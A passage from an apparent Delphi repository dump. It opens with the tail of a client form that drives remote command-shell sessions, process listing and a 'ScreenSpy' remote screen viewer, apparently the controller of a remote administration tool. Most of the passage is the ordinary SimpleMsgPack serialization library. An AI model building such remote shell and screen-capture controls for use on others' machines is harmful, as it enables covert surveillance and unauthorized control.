CmdShellCommand := '';
end else
if Key = #8 then
begin
if Length(CmdShellCommand) > 0 then
begin
CmdShellCommand := Copy(CmdShellCommand, 0, Length(CmdShellCommand) - 1);
end else
Key := #0;
end else
begin
CmdShellCommand := CmdShellCommand + Key;
end;
finally
SendMessage(Memo_CmdShell.Handle, WM_VSCROLL, SB_BOTTOM, 0);
Memo_CmdShell.SelStart := Length(Memo_CmdShell.Lines.Text);
end;
end;
procedure TOperateForm.MenuItem_CmdShellActiveClick(Sender: TObject);
begin
if not MenuItem_CmdShellActive.Checked then
begin
ctx.SendCmd(CMD_BEGIN_CMDSHELL);
end else
begin
ctx.SendCmd(CMD_STOP_CMDSHELL);
end;
end;
procedure TOperateForm.MenuItem_ProcessesRefreshClick(Sender: TObject);
begin
ctx.SendCmd(CMD_GET_PROCESS_LIST);
end;
procedure TOperateForm.PaintBox_ScreenSpyPaint(Sender: TObject);
begin
if Button_ScreenSpy_End.Enabled then
PaintBox_ScreenSpy.Canvas.Draw(0, 0, ScreenSpyBmp);
end;
procedure TOperateForm.ScreenSpyDraw(var mousept, pt: TPoint; var bmp: TBitmap);
begin
if bmp.Width > ScreenSpyBmp.Width then
begin
ScreenSpyBmp.Width := bmp.Width;
end;
if bmp.Height > ScreenSpyBmp.Height then
begin
ScreenSpyBmp.Height := bmp.Height;
end;
// Ȳ
ScrollBox_ScreenSpy.HorzScrollBar.Range := ScreenSpyBmp.Width;
ScrollBox_ScreenSpy.VertScrollBar.Range := ScreenSpyBmp.Height;
// ¾
ScreenSpyBmp.Canvas.Draw(pt.X, pt.Y, bmp);
PaintBox_ScreenSpy.Canvas.Draw(pt.X, pt.Y, bmp);
end;
procedure TOperateForm.SetCmdShellState(b: Boolean);
begin
if b then
begin
Memo_CmdShell.ReadOnly := False;
Memo_CmdShell.Font.Color := clHighlightText;
Memo_CmdShell.Color := clBlack;
MenuItem_CmdShellActive.Checked := True;
end else
begin
Memo_CmdShell.ReadOnly := True;
Memo_CmdShell.Font.Color := clBlack;
Memo_CmdShell.Color := clScrollBar;
MenuItem_CmdShellActive.Checked := False;
end;
end;
procedure TOperateForm.SetScreenSpyState(b: Boolean);
begin
if b then
begin
Button_ScreenSpy_Start.Enabled := False;
Button_ScreenSpy_End.Enabled := True;
ComBox_ScreenSpy_Quality.Enabled := False;
end else
begin
Button_ScreenSpy_Start.Enabled := True;
Button_ScreenSpy_End.Enabled := False;
ComBox_ScreenSpy_Quality.Enabled := True;
end;
end;
end.
================================================
FILE: Client/SimpleMsgPack.pas
================================================
(*
unit Owner: D10.Mofen, qdac.swish
welcome to report bug: 185511468(qq), 185511468@qq.com
Web site : https://github.com/ymofen/msgpack-delphi
* Delphi 2007 (tested)
* XE5, XE7 (tested)
+ first release
2014-08-15 13:05:13
+ add array support
2014-08-19 12:18:47
+ add andriod support
2014-09-08 00:45:27
* fixed int32, int64 parse bug< integer, int64 parse zero>
2014-11-09 22:35:27
+ add EncodeToFile/DecodeFromFile
2014-11-13 12:30:58
* fix asVariant = null (thanks for cyw(26890954))
2014-11-14 09:05:52
* fix AsInteger = -1 bug (thanks for cyw(26890954))
2014-11-14 12:15:52
* fix AsInteger = -127 bug
check int64/integer/cardinal/word/shortint/smallint/byte assign, encode,decode, read
2014-11-14 12:30:38
* fix AsFloat = 2.507182 bug
thanks fo [珠海]-芒果 1939331207
2014-11-21 12:37:04
* add AddArrayChild func
2015-03-25 17:47:28
* add remove/removeFromParent/Delete function
2015-08-29 22:37:48
samples:
lvMsgPack:=TSimpleMsgPack.Create;
lvMsgPack.S['root.child01'] := 'abc';
//save to stream
lvMsgPack.EncodeToStream(pvStream);
Copyright (c) 2014, ymofen, swish
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*)
unit SimpleMsgPack;
interface
uses
classes, SysUtils
{$IFDEF UNICODE}, Generics.Collections{$ELSE}, Contnrs{$ENDIF}
{$IFDEF MSWINDOWS}, Windows{$ENDIF}
,Variants;
type
{$IF RTLVersion<25}
IntPtr=Integer;
{$IFEND IntPtr}
{$if CompilerVersion < 18} //before delphi 2007
TBytes = array of Byte;
{$ifend}
TMsgPackType = (mptUnknown, mptNull, mptMap, mptArray, mptString, mptInteger,
mptBoolean, mptFloat, mptSingle, mptDateTime, mptBinary);
// reserved
IMsgPack = interface
['{37D3E479-7A46-435A-914D-08FBDA75B50E}']
end;
// copy from qmsgPack
TMsgPackValue= packed record
ValueType:Byte;
case Integer of
0:(U8Val:Byte);
1:(I8Val:Shortint);
2:(U16Val:Word);
3:(I16Val:Smallint);
4:(U32Val:Cardinal);
5:(I32Val:Integer);
6:(U64Val:UInt64);
7:(I64Val:Int64);
//8:(F32Val:Single);
//9:(F64Val:Double);
10:(BArray:array[0..16] of Byte);
end;
TMsgPackSetting = class(TObject)
private
FCaseSensitive: Boolean;
public
property CaseSensitive: Boolean read FCaseSensitive write FCaseSensitive;
end;
TSimpleMsgPack = class(TObject)
private
FParent:TSimpleMsgPack;
FLowerName:String;
FName:String;
FValue:TBytes;
FDataType:TMsgPackType;
{$IFDEF UNICODE}
FChildren: TList;
{$ELSE}
FChildren: TList;
{$ENDIF}
procedure InnerAddToChildren(pvDataType: TMsgPackType; obj: TSimpleMsgPack);
function InnerAdd(pvDataType: TMsgPackType): TSimpleMsgPack; overload;
function InnerAdd():TSimpleMsgPack; overload;
function GetCount: Integer;
procedure InnerEncodeToStream(pvStream:TStream);
procedure InnerParseFromStream(pvStream: TStream);
procedure setName(pvName:string);
private
function getAsString: String;
procedure setAsString(pvValue:string);
function getAsInteger: Int64;
procedure setAsInteger(pvValue:Int64);
function GetAsBoolean: Boolean;
procedure SetAsBoolean(const Value: Boolean);
procedure SetAsFloat(const Value: Double);
function GetAsFloat: Double;
procedure SetAsDateTime(const Value: TDateTime);
function GetAsDateTime: TDateTime;
function GetAsVariant: Variant;
procedure SetAsVariant(const Value: Variant);
procedure SetAsSingle(const Value: Single);
function GetAsSingle: Single;
procedure SetAsBytes(const Value: TBytes);
function GetAsBytes: TBytes;
procedure checkObjectDataType(ANewType: TMsgPackType);
function findObj(pvName:string): TSimpleMsgPack;
function indexOf(pvName:string): Integer;
function indexOfCaseSensitive(pvName:string): Integer;
function indexOfIgnoreSensitive(pvLowerCaseName: string): Integer;
private
///
/// 通过路径查找子对象
///
/// 要查找的子对象路径 比如: 'p1.age'
/// 查找到的子对象的父对象
/// 查找到的子对象所在父对象的索引值
/// 返回找到的子对象
function InnerFindPathObject(pvPath: string; var vParent: TSimpleMsgPack; var
vIndex: Integer): TSimpleMsgPack;
function GetO(pvPath: String): TSimpleMsgPack;
procedure SetO(pvPath: String; const Value: TSimpleMsgPack);
function GetS(pvPath: String): string;
procedure SetS(pvPath: String; const Value: string);
function GetI(pvPath: String): Int64;
procedure SetI(pvPath: String; const Value: Int64);
function GetB(pvPath: String): Boolean;
procedure SetB(pvPath: String; const Value: Boolean);
function GetD(pvPath: String): Double;
procedure SetD(pvPath: String; const Value: Double);
function GetItems(AIndex: Integer): TSimpleMsgPack;
///
/// 释放所有子对象,并清空子对象列表
///
procedure ClearAndFreeAllChildren;
public
constructor Create;
destructor Destroy; override;
///
/// 清空子对象以及本身值(null)
///
procedure Clear;
property Count: Integer read GetCount;
procedure LoadBinaryFromStream(pvStream: TStream; pvLen: cardinal = 0);
procedure SaveBinaryToStream(pvStream:TStream);
procedure LoadBinaryFromFile(pvFileName:String);
procedure SaveBinaryToFile(pvFileName:String);
procedure EncodeToStream(pvStream:TStream);
procedure EncodeToFile(pvFileName:string);
procedure DecodeFromStream(pvStream:TStream);
procedure DecodeFromFile(pvFileName:string);
function EncodeToBytes: TBytes;
procedure DecodeFromBytes(pvBytes:TBytes);
function Add(pvNameKey, pvValue: string): TSimpleMsgPack; overload;
function Add(pvNameKey: string; pvValue: Int64): TSimpleMsgPack; overload;
function Add(pvNameKey: string; pvValue: TBytes): TSimpleMsgPack; overload;
function Add(pvNameKey: String): TSimpleMsgPack; overload;
function Add():TSimpleMsgPack; overload;
///
/// 添加一个子对象,并负责对象的生命周期
///
function Add(pvNameKey: string; pvValue:TSimpleMsgPack): TSimpleMsgPack;
overload;
function AddArrayChild():TSimpleMsgPack; overload;
///
/// 添加一个子对象,并负责对象的生命周期
///
function AddArrayChild(pvValue:TSimpleMsgPack): TSimpleMsgPack; overload;
function ForcePathObject(pvPath:string): TSimpleMsgPack;
///
/// 移除并释放对象
///
/// 要移除的对象路径, 比如: 'p1.age'
/// 如果移除成功返回true, 否则返回false(对象不存在)
function DeleteObject(pvPath:String):Boolean;
///
/// 根据索引值删除并释放对象
///
/// 子对象的索引值
/// 如果移除成功返回true, 否则返回false(超出索引范围)
function Delete(pvIndex:Integer):Boolean;
///
/// 移除子对象,并不释放子对象
///
/// 要移除的对象路径, 比如: 'p1.age'
/// 如果移除成功返回移除的子对象, 否则返回nil(对象不存在)
function Remove(pvPath:string): TSimpleMsgPack; overload;
///
/// 移除子对象,并不释放子对象
///
/// 子对象的索引值
/// 如果移除成功返回移除的子对象, 否则返回nil(索引超出范围)
function Remove(pvIndex:Integer): TSimpleMsgPack; overload;
///
/// 移除子对象,并不释放子对象
///
/// 要移除的对象
/// 如果移除成功返回true, 否则返回false(对象不是该子对象)
function Remove(pvChild:TSimpleMsgPack): Boolean; overload;
///
/// 从父对象中移除
///
procedure RemoveFromParent();
property AsInteger:Int64 read getAsInteger write setAsInteger;
property AsString:string read getAsString write setAsString;
property AsBoolean: Boolean read GetAsBoolean write SetAsBoolean;
property AsFloat: Double read GetAsFloat write SetAsFloat;
property AsSingle: Single read GetAsSingle write SetAsSingle;
property AsDateTime: TDateTime read GetAsDateTime write SetAsDateTime;
property AsVariant: Variant read GetAsVariant write SetAsVariant;
property AsBytes: TBytes read GetAsBytes write SetAsBytes;
property O[pvPath: String]: TSimpleMsgPack read GetO write SetO;
property S[pvPath: String]: string read GetS write SetS;
property I[pvPath: String]: Int64 read GetI write SetI;
property B[pvPath: String]: Boolean read GetB write SetB;
property D[pvPath: String]: Double read GetD write SetD;
property Items[AIndex: Integer]: TSimpleMsgPack read GetItems; default;
end;
implementation
resourcestring
SVariantConvertNotSupport = 'type to convert not support!。';
SCannotAddChild = 'Can''t add child in this node!';
function swap16(const v): Word;
begin
// FF, EE : EE->1, FF->2
PByte(@result)^ := PByte(IntPtr(@v) + 1)^;
PByte(IntPtr(@result) + 1)^ := PByte(@v)^;
end;
function swap32(const v): Cardinal;
begin
// FF, EE, DD, CC : CC->1, DD->2, EE->3, FF->4
PByte(@result)^ := PByte(IntPtr(@v) + 3)^;
PByte(IntPtr(@result) + 1)^ := PByte(IntPtr(@v) + 2)^;
PByte(IntPtr(@result) + 2)^ := PByte(IntPtr(@v) + 1)^;
PByte(IntPtr(@result) + 3)^ := PByte(@v)^;
end;
function swap64(const v): Int64;
begin
// FF, EE, DD, CC, BB, AA, 99, 88 : 88->1 ,99->2 ....
PByte(@result)^ := PByte(IntPtr(@v) + 7)^;
PByte(IntPtr(@result) + 1)^ := PByte(IntPtr(@v) + 6)^;
PByte(IntPtr(@result) + 2)^ := PByte(IntPtr(@v) + 5)^;
PByte(IntPtr(@result) + 3)^ := PByte(IntPtr(@v) + 4)^;
PByte(IntPtr(@result) + 4)^ := PByte(IntPtr(@v) + 3)^;
PByte(IntPtr(@result) + 5)^ := PByte(IntPtr(@v) + 2)^;
PByte(IntPtr(@result) + 6)^ := PByte(IntPtr(@v) + 1)^;
PByte(IntPtr(@result) + 7)^ := PByte(@v)^;
end;
// v and outVal is can't the same value
procedure swap64Ex(const v; out outVal);
begin
// FF, EE, DD, CC, BB, AA, 99, 88 : 88->1 ,99->2 ....
PByte(@outVal)^ := PByte(IntPtr(@v) + 7)^;
PByte(IntPtr(@outVal) + 1)^ := PByte(IntPtr(@v) + 6)^;
PByte(IntPtr(@outVal) + 2)^ := PByte(IntPtr(@v) + 5)^;
PByte(IntPtr(@outVal) + 3)^ := PByte(IntPtr(@v) + 4)^;
PByte(IntPtr(@outVal) + 4)^ := PByte(IntPtr(@v) + 3)^;
PByte(IntPtr(@outVal) + 5)^ := PByte(IntPtr(@v) + 2)^;
PByte(IntPtr(@outVal) + 6)^ := PByte(IntPtr(@v) + 1)^;
PByte(IntPtr(@outVal) + 7)^ := PByte(@v)^;
end;
// v and outVal is can't the same value
procedure swap32Ex(const v; out outVal);
begin
// FF, EE, DD, CC : CC->1, DD->2, EE->3, FF->4
PByte(@outVal)^ := PByte(IntPtr(@v) + 3)^;
PByte(IntPtr(@outVal) + 1)^ := PByte(IntPtr(@v) + 2)^;
PByte(IntPtr(@outVal) + 2)^ := PByte(IntPtr(@v) + 1)^;
PByte(IntPtr(@outVal) + 3)^ := PByte(@v)^;
end;
// v and outVal is can't the same value
procedure swap16Ex(const v; out outVal);
begin
// FF, EE : EE->1, FF->2
PByte(@outVal)^ := PByte(IntPtr(@v) + 1)^;
PByte(IntPtr(@outVal) + 1)^ := PByte(@v)^;
end;
// overload swap, result type is integer, because single maybe NaN
function swap(v:Single): Integer; overload;
begin
swap32Ex(v, Result);
end;
// overload swap
function swap(v:word): Word; overload;
begin
swap16Ex(v, Result);
end;
// overload swap
function swap(v:Cardinal):Cardinal; overload;
begin
swap32Ex(v, Result);
end;
// swap , result type is Int64, because Double maybe NaN
function swap(v:Double): Int64; overload;
begin
swap64Ex(v, Result);
end;
// copy from qstring
function BinToHex(p: Pointer; l: Integer; ALowerCase: Boolean): string;
const
B2HConvert: array [0 .. 15] of Char = ('0', '1', '2', '3', '4', '5', '6',
'7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F');
B2HConvertL: array [0 .. 15] of Char = ('0', '1', '2', '3', '4', '5', '6',
'7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f');
var
pd: PChar;
pb: PByte;
begin
if SizeOf(Char) = 2 then
begin
SetLength(Result, l shl 1);
end else
begin
SetLength(Result, l);
end;
pd := PChar(Result);
pb := p;
if ALowerCase then
begin
while l > 0 do
begin
pd^ := B2HConvertL[pb^ shr 4];
Inc(pd);
pd^ := B2HConvertL[pb^ and $0F];
Inc(pd);
Inc(pb);
Dec(l);
end;
end
else
begin
while l > 0 do
begin
pd^ := B2HConvert[pb^ shr 4];
Inc(pd);
pd^ := B2HConvert[pb^ and $0F];
Inc(pd);
Inc(pb);
Dec(l);
end;
end;
end;
function getFirst(var strPtr: PChar; splitChars: TSysCharSet): string;
var
oPtr:PChar;
l:Cardinal;
begin
oPtr := strPtr;
Result := '';
while True do
begin
if (strPtr^ in splitChars) then
begin
l := strPtr - oPtr;
if l > 0 then
begin
{$IFDEF UNICODE}
SetLength(Result, l);
Move(oPtr^, PChar(Result)^, l shl 1);
{$ELSE}
SetLength(Result, l);
Move(oPtr^, PChar(Result)^, l);
{$ENDIF}
break;
end;
end else if (strPtr^ = #0) then
begin
l := strPtr - oPtr;
if l > 0 then
begin
{$IFDEF UNICODE}
SetLength(Result, l);
Move(oPtr^, PChar(Result)^, l shl 1);
{$ELSE}
SetLength(Result, l);
Move(oPtr^, PChar(Result)^, l);
{$ENDIF}
end;
break;
end;
Inc(strPtr);
end;
end;
function Utf8DecodeEx(pvValue:{$IFDEF UNICODE}TBytes{$ELSE}AnsiString{$ENDIF}; len:Cardinal):string;
{$IFDEF UNICODE}
var
lvBytes:TBytes;
{$ENDIF}
begin
{$IFDEF UNICODE}
lvBytes := TEncoding.Convert(TEncoding.UTF8, TEncoding.Unicode, pvValue);
SetLength(Result, Length(lvBytes) shr 1);
Move(lvBytes[0], PChar(Result)^, Length(lvBytes));
{$ELSE}
result:= UTF8Decode(pvValue);
{$ENDIF}
end;
function Utf8EncodeEx(pvValue:string):{$IFDEF UNICODE}TBytes{$ELSE}AnsiString{$ENDIF};
{$IFDEF UNICODE}
var
lvBytes:TBytes;
len:Cardinal;
{$ENDIF}
begin
{$IFDEF UNICODE}
len := length(pvValue) shl 1;
SetLength(lvBytes, len);
Move(PChar(pvValue)^, lvBytes[0], len);
Result := TEncoding.Convert(TEncoding.Unicode, TEncoding.UTF8, lvBytes);
{$ELSE}
result:= UTF8Encode(pvValue);
{$ENDIF}
end;
// copy from qmsgPack
procedure writeString(pvValue: string; pvStream: TStream);
var
lvRawData:{$IFDEF UNICODE}TBytes{$ELSE}AnsiString{$ENDIF};
l:Integer;
lvValue:TMsgPackValue;
begin
lvRawData := Utf8EncodeEx(pvValue);
l:=Length(lvRawData);
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
if L<=31 then
begin
lvValue.ValueType:=$A0+Byte(L);
pvStream.WriteBuffer(lvValue.ValueType,1);
end
else if L<=255 then
begin
lvValue.ValueType:=$d9;
lvValue.U8Val:=Byte(L);
pvStream.WriteBuffer(lvValue,2);
end
else if L<=65535 then
begin
lvValue.ValueType:=$da;
lvValue.U16Val:=((L shr 8) and $FF) or ((L shl 8) and $FF00);
pvStream.Write(lvValue,3);
end else
begin
lvValue.ValueType:=$db;
lvValue.BArray[0]:=(L shr 24) and $FF;
lvValue.BArray[1]:=(L shr 16) and $FF;
lvValue.BArray[2]:=(L shr 8) and $FF;
lvValue.BArray[3]:=L and $FF;
pvStream.WriteBuffer(lvValue,5);
end;
{$IFDEF UNICODE}
pvStream.Write(PByte(@lvRawData[0])^, l);
{$ELSE}
pvStream.Write(PByte(lvRawData)^, l);
{$ENDIF};
end;
procedure WriteBinary(p: PByte; l: Integer; pvStream: TStream);
var
lvValue:TMsgPackValue;
begin
if l <= 255 then
begin
lvValue.ValueType := $C4;
lvValue.U8Val := Byte(l);
pvStream.WriteBuffer(lvValue, 2);
end
else if l <= 65535 then
begin
lvValue.ValueType := $C5;
lvValue.BArray[0] := (l shr 8) and $FF;
lvValue.BArray[1] := l and $FF;
pvStream.WriteBuffer(lvValue, 3);
end
else
begin
lvValue.ValueType := $C6;
lvValue.BArray[0] := (l shr 24) and $FF;
lvValue.BArray[1] := (l shr 16) and $FF;
lvValue.BArray[2] := (l shr 8) and $FF;
lvValue.BArray[3] := l and $FF;
pvStream.WriteBuffer(lvValue, 5);
end;
pvStream.WriteBuffer(p^, l);
end;
// copy from qmsgPack
procedure WriteInt(const iVal: Int64; AStream: TStream);
var
lvValue:TMsgPackValue;
begin
if iVal>=0 then
begin
if iVal<=127 then
begin
lvValue.U8Val:=Byte(iVal);
AStream.WriteBuffer(lvValue.U8Val,1);
end
else if iVal<=255 then//UInt8
begin
lvValue.ValueType:=$cc;
lvValue.U8Val:=Byte(iVal);
AStream.WriteBuffer(lvValue,2);
end
else if iVal<=65535 then
begin
lvValue.ValueType:=$cd;
lvValue.BArray[0]:=(iVal shr 8);
lvValue.BArray[1]:=(iVal and $FF);
AStream.WriteBuffer(lvValue,3);
end
else if iVal<=Cardinal($FFFFFFFF) then
begin
lvValue.ValueType:=$ce;
lvValue.BArray[0]:=(iVal shr 24) and $FF;
lvValue.BArray[1]:=(iVal shr 16) and $FF;
lvValue.BArray[2]:=(iVal shr 8) and $FF;
lvValue.BArray[3]:=iVal and $FF;
AStream.WriteBuffer(lvValue,5);
end
else
begin
lvValue.ValueType:=$cf;
lvValue.BArray[0]:=(iVal shr 56) and $FF;
lvValue.BArray[1]:=(iVal shr 48) and $FF;
lvValue.BArray[2]:=(iVal shr 40) and $FF;
lvValue.BArray[3]:=(iVal shr 32) and $FF;
lvValue.BArray[4]:=(iVal shr 24) and $FF;
lvValue.BArray[5]:=(iVal shr 16) and $FF;
lvValue.BArray[6]:=(iVal shr 8) and $FF;
lvValue.BArray[7]:=iVal and $FF;
AStream.WriteBuffer(lvValue,9);
end;
end
else//<0
begin
if iVal<=Low(Integer) then //-2147483648 // 64 bit
begin
lvValue.ValueType:=$d3;
lvValue.BArray[0]:=(iVal shr 56) and $FF;
lvValue.BArray[1]:=(iVal shr 48) and $FF;
lvValue.BArray[2]:=(iVal shr 40) and $FF;
lvValue.BArray[3]:=(iVal shr 32) and $FF;
lvValue.BArray[4]:=(iVal shr 24) and $FF;
lvValue.BArray[5]:=(iVal shr 16) and $FF;
lvValue.BArray[6]:=(iVal shr 8) and $FF;
lvValue.BArray[7]:=iVal and $FF;
AStream.WriteBuffer(lvValue,9);
end
else if iVal<=Low(SmallInt) then // -32768 // 32 bit
begin
lvValue.ValueType:=$d2;
lvValue.BArray[0]:=(iVal shr 24) and $FF;
lvValue.BArray[1]:=(iVal shr 16) and $FF;
lvValue.BArray[2]:=(iVal shr 8) and $FF;
lvValue.BArray[3]:=iVal and $FF;
AStream.WriteBuffer(lvValue,5);
end
else if iVal<=-128 then
begin
lvValue.ValueType:=$d1;
lvValue.BArray[0]:=(iVal shr 8);
lvValue.BArray[1]:=(iVal and $FF);
AStream.WriteBuffer(lvValue,3);
end
else if iVal<-32 then
begin
lvValue.ValueType:=$d0;
lvValue.I8Val:=iVal;
AStream.WriteBuffer(lvValue,2);
end
else
begin
lvValue.I8Val:=iVal;
AStream.Write(lvValue.I8Val,1);
end;
end;//End <0
end;
procedure WriteFloat(pvVal: Double; AStream: TStream);
var
lvValue:TMsgPackValue;
begin
lvValue.i64Val := swap(pvVal);
lvValue.ValueType := $CB;
AStream.WriteBuffer(lvValue, 9);
end;
procedure WriteSingle(pvVal: Single; AStream: TStream);
var
lvValue:TMsgPackValue;
begin
lvValue.I32Val := swap(pvVal);
lvValue.ValueType := $CA;
AStream.WriteBuffer(lvValue, 5);
end;
procedure WriteNull(pvStream:TStream);
var
lvByte:Byte;
begin
lvByte := $C0;
pvStream.Write(lvByte, 1);
end;
procedure WriteBoolean(pvValue:Boolean; pvStream:TStream);
var
lvByte:Byte;
begin
if pvValue then lvByte := $C3 else lvByte := $C2;
pvStream.Write(lvByte, 1);
end;
///
/// copy from qmsgpack
///
procedure writeArray(obj:TSimpleMsgPack; pvStream:TStream);
var
c, i:Integer;
lvValue:TMsgPackValue;
lvNode:TSimpleMsgPack;
begin
C:=obj.Count;
if C <= 15 then
begin
lvValue.ValueType := $90 + C;
pvStream.WriteBuffer(lvValue.ValueType, 1);
end
else if C <= 65535 then
begin
lvValue.ValueType := $DC;
lvValue.BArray[0] := (C shr 8) and $FF;
lvValue.BArray[1] := C and $FF;
pvStream.WriteBuffer(lvValue, 3);
end
else
begin
lvValue.ValueType := $DD;
lvValue.BArray[0] := (C shr 24) and $FF;
lvValue.BArray[1] := (C shr 16) and $FF;
lvValue.BArray[2] := (C shr 8) and $FF;
lvValue.BArray[3] := C and $FF;
pvStream.WriteBuffer(lvValue, 5);
end;
for I := 0 to C-1 do
begin
lvNode:=TSimpleMsgPack(obj.FChildren[I]);
lvNode.InnerEncodeToStream(pvStream);
end;
end;
procedure writeMap(obj:TSimpleMsgPack; pvStream:TStream);
var
c, i:Integer;
lvValue:TMsgPackValue;
lvNode:TSimpleMsgPack;
begin
C:=obj.Count;
if C<=15 then
begin
lvValue.ValueType:=$80+C;
pvStream.WriteBuffer(lvValue.ValueType,1);
end
else if C<=65535 then
begin
lvValue.ValueType:=$de;
lvValue.BArray[0]:=(C shr 8) and $FF;
lvValue.BArray[1]:=C and $FF;
pvStream.WriteBuffer(lvValue,3);
end
else
begin
lvValue.ValueType:=$df;
lvValue.BArray[0]:=(C shr 24) and $FF;
lvValue.BArray[1]:=(C shr 16) and $FF;
lvValue.BArray[2]:=(C shr 8) and $FF;
lvValue.BArray[3]:=C and $FF;
pvStream.WriteBuffer(lvValue,5);
end;
for I := 0 to C-1 do
begin
lvNode:=TSimpleMsgPack(obj.FChildren[I]);
writeString(lvNode.FName, pvStream);
lvNode.InnerEncodeToStream(pvStream);
end;
end;
function EncodeDateTime(pvVal: TDateTime): string;
var
AValue: TDateTime;
begin
AValue := pvVal;
if AValue - Trunc(AValue) = 0 then // Date
Result := FormatDateTime('yyyy-MM-dd', AValue)
else
begin
if Trunc(AValue) = 0 then
Result := FormatDateTime('hh:nn:ss.zzz', AValue)
else
Result := FormatDateTime('yyyy-mm-dd hh:nn:ss.zzz', AValue);
end;
end;
constructor TSimpleMsgPack.Create;
begin
inherited Create;
{$IFDEF UNICODE}
FChildren := TList.Create();
{$ELSE}
FChildren := TList.Create();
{$ENDIF}
end;
procedure TSimpleMsgPack.DecodeFromBytes(pvBytes: TBytes);
var
lvStream:TStream;
begin
lvStream := TMemoryStream.Create;
try
lvStream.Write(pvBytes[0], Length(pvBytes));
lvStream.Position := 0;
DecodeFromStream(lvStream);
finally
lvStream.Free;
end;
end;
procedure TSimpleMsgPack.DecodeFromFile(pvFileName: string);
var
lvFileStream:TFileStream;
begin
if FileExists(pvFileName) then
begin
lvFileStream := TFileStream.Create(pvFileName, fmOpenRead);
try
DecodeFromStream(lvFileStream);
finally
lvFileStream.Free;
end;
end;
end;
procedure TSimpleMsgPack.DecodeFromStream(pvStream: TStream);
begin
InnerParseFromStream(pvStream);
end;
function TSimpleMsgPack.Delete(pvIndex: Integer): Boolean;
begin
if (pvIndex < 0) or (pvIndex >= Count) then
begin
Result := false;
end else
begin
TObject(FChildren[pvIndex]).Free;
FChildren.Delete(pvIndex);
Result := True;
end;
end;
function TSimpleMsgPack.DeleteObject(pvPath: String): Boolean;
var
lvParent, lvObj:TSimpleMsgPack;
j:Integer;
begin
lvObj := InnerFindPathObject(pvPath, lvParent, j);
Result := lvObj <> nil;
if Result then
begin
lvParent.FChildren.Delete(j);
lvObj.Free;
end;
end;
destructor TSimpleMsgPack.Destroy;
begin
ClearAndFreeAllChildren;
FChildren.Free;
FChildren := nil;
inherited Destroy;
end;
function TSimpleMsgPack.Add(pvNameKey, pvValue: string): TSimpleMsgPack;
begin
Result := InnerAdd(mptMap);
Result.setName(pvNameKey);
Result.AsString := pvValue;
end;
function TSimpleMsgPack.Add(pvNameKey: string; pvValue: Int64): TSimpleMsgPack;
begin
Result := InnerAdd(mptMap);
Result.setName(pvNameKey);
Result.AsInteger := pvValue;
end;
function TSimpleMsgPack.Add: TSimpleMsgPack;
begin
Result := InnerAdd(mptMap);
end;
function TSimpleMsgPack.AddArrayChild: TSimpleMsgPack;
begin
if FDataType <> mptArray then
begin
Clear();
FDataType := mptArray;
end;
Result := InnerAdd;
end;
function TSimpleMsgPack.Add(pvNameKey: string; pvValue: TBytes): TSimpleMsgPack;
begin
Result := InnerAdd(mptMap);
Result.setName(pvNameKey);
Result.FDataType := mptBinary;
Result.FValue := pvValue;
end;
function TSimpleMsgPack.Add(pvNameKey:String): TSimpleMsgPack;
begin
Result := InnerAdd(mptMap);
Result.setName(pvNameKey);
end;
function TSimpleMsgPack.Add(pvNameKey: string; pvValue:TSimpleMsgPack):
TSimpleMsgPack;
begin
InnerAddToChildren(mptMap, pvValue);
pvValue.FName := pvNameKey;
Result := pvValue;
end;
function TSimpleMsgPack.AddArrayChild(pvValue:TSimpleMsgPack): TSimpleMsgPack;
begin
InnerAddToChildren(mptArray, pvValue);
Result := pvValue;
end;
procedure TSimpleMsgPack.checkObjectDataType(ANewType: TMsgPackType);
begin
if (FDataType <> ANewType) then
begin
FDataType := ANewType;
end;
end;
procedure TSimpleMsgPack.Clear;
begin
ClearAndFreeAllChildren;
FDataType := mptNull;
SetLength(FValue, 0);
end;
function TSimpleMsgPack.EncodeToBytes: TBytes;
var
lvStream:TStream;
begin
lvStream := TMemoryStream.Create;
try
EncodeToStream(lvStream);
lvStream.Position := 0;
SetLength(Result, lvStream.size);
lvStream.Read(Result[0], lvStream.Size);
finally
lvStream.Free;
end;
end;
procedure TSimpleMsgPack.EncodeToFile(pvFileName: string);
var
lvFileStream:TFileStream;
begin
if FileExists(pvFileName) then
